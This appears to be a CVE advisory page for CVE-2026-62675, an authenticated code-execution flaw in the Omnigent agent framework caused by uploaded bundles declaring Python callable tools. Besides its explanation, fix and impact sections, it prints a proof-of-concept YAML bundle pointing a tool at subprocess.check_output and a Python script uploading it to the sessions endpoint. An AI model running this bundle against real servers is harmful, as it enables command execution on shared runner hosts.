Omnigent, Improper Control of Code Generation (CWE-94), CVE-2026-62675 (Critical) -DC-Sep2026-2117

Listen to this Post

Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents. Prior to version 0.3.0, the multipart POST `/v1/sessions` endpoint accepts an authenticated user’s agent bundle. The server validates the uploaded bundle via `validate_agent_bundle` in omnigent/server/bundles.py, but it does not block dangerous `callable:` paths in untrusted user-provided agent configs.
Python callable tools are an intended trusted/operator feature, but the upload path accepts them from tenant-provided bundles too. When the tool is invoked, `omnigent/runner/tool_dispatch.py` executes _resolve_spec_callable, which imports the specified module via `importlib.import_module(module_name)` and retrieves the attribute via getattr(mod, attr_name, None). Then `_execute_spec_callable_tool` calls the resolved function. A crafted bundle can point the tool at subprocess.check_output, allowing the attacker to run a local command on the runner machine.
The validator already treats uploaded bundles as untrusted in some ways—for example, it disables server-side environment expansion and can enforce a policy-handler allowlist via `expand_env=False` and enforce_handler_allowlist=enforce_handler_allowlist. However, the same validation does not reject `tools..callable` entries in an uploaded agent bundle. Later, the high-level tool dispatcher falls back to this callable execution path via `execute_tool` callable fallback.
The problem is the trust boundary. Python callables are a trusted local developer feature, but uploaded agent bundles can be user-controlled in a hosted/multi-user server. This is serious because hosted Omnigent deployments can have multiple users and shared or managed runner hosts. A normal logged-in user should not be able to make the runner execute arbitrary local commands. This is authenticated RCE against the Omnigent runner environment—a normal authenticated user who can upload or create a custom agent bundle can declare a server-side Python callable and have the runner import and execute it.
Because the callable runs inside the runner process, the attacker-controlled code runs with the runner’s permissions. In a hosted or multi-user deployment, this can expose runner-accessible files, environment variables, credentials, workspace data, internal services reachable from the runner, and runner availability. This is high impact because it crosses the boundary from “upload an agent config” to “execute local code on shared runner infrastructure” without requiring admin/operator access.

DailyCVE Form

Platform: Omnigent
Version: <0.3.0
Vulnerability: Authenticated RCE
Severity: Critical (CVSS 8.8)
Date: 2026-08-21

Prediction: 2026-09-15

What Undercode Say

Check Omnigent version
pip show omnigent
Check if vulnerable endpoint is exposed
curl -X POST https://target.com/v1/sessions -H "Authorization: Bearer $TOKEN"

Exploit (Educational Purposes!)

Crafted agent bundle YAML defining a malicious Python callable tool:

tools:
malicious_tool:
callable: subprocess.check_output
args:
cmd: ["id"]

Python snippet to craft and upload the bundle:

import requests
bundle_yaml = """
tools:
malicious_tool:
callable: subprocess.check_output
args:
cmd: ["id"]
"""
files = {'bundle': ('agent.yaml', bundle_yaml)}
response = requests.post(
'https://target.com/v1/sessions',
headers={'Authorization': f'Bearer {token}'},
files=files
)

When the tool is invoked, the runner imports and executes `subprocess.check_output([“id”])` with runner process permissions.

Protection

  • Upgrade to Omnigent version 0.3.0 or later
  • Reject server-side Python callable tools in HTTP-uploaded bundles on shared/multi-user servers unless explicitly allowlisted by the operator
  • Apply the conservative fix: reject `callable:` tool paths for tenant-uploaded bundles while keeping trusted local/operator-authored configs working
  • Review the fix implemented in Pull Request 1430: `fix(server): reject server-side callable tools in uploaded agent bundles`

Impact

  • Authenticated RCE against the Omnigent runner environment
  • Attacker-controlled code runs with runner process permissions
  • Exposure of runner-accessible files, environment variables, credentials, workspace data, internal services, and runner availability
  • No admin/operator access required—any authenticated user can exploit
  • Crosses boundary from “upload agent config” to “execute local code on shared runner infrastructure”

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top